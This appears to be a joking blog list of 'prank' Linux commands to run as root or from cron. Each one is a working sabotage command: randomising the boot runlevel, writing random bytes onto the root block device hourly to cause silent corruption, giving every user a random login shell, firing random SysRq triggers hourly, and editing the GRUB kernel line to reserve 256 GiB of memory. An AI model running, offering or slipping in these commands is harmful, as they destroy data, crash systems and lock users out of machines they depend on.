Now that’s a proper startup
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc

Accelerated bitrot
Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
We don’t play favourites.
Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:
for I in $(getent passwd | cut -d: -f1 ) do chsh -s $(sort -R /etc/shells | head -n1) ${I} done
Add some spice to your life
Spice up your life a bit with the following command:
echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
No Reservations?

Bad memory
This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:
sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf
